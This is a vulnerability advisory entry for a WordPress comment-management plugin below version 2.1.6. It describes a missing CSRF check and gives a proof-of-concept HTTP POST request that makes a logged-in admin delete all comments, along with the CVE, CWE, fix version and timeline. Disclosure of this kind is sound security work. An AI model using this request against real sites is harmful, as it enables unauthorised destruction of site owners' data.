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Comment Link Remove and Other Comment Tools < 2.1.6 - Arbitrary Comment Deletion via CSRF

Description

The plugin does not have CSRF check in its 'Delete comments easily', which could allow attackers to make logged in admin delete arbitrary comments

Proof of Concept

POST /wp-admin/admin.php?page=comment-link-remove HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: keep-alive
Cookie: [admin+ cookies]
Upgrade-Insecure-Requests: 1

delAllCmts=delAllCmts 

Affects Plugins

comment-link-remove
Fixed in version 2.1.6

References

CVE
CVE-2021-24725
URL
https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=29225

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Martin Vierula of Trustwave

Verified

Yes

WPVDB ID
01483284-57f5-4ae9-b5f1-ae26b623571f

Timeline

Publicly Published

2021-08-23 (about 10 months ago)

Added

2021-08-23 (about 10 months ago)

Last Updated

2022-04-24 (about 2 months ago)

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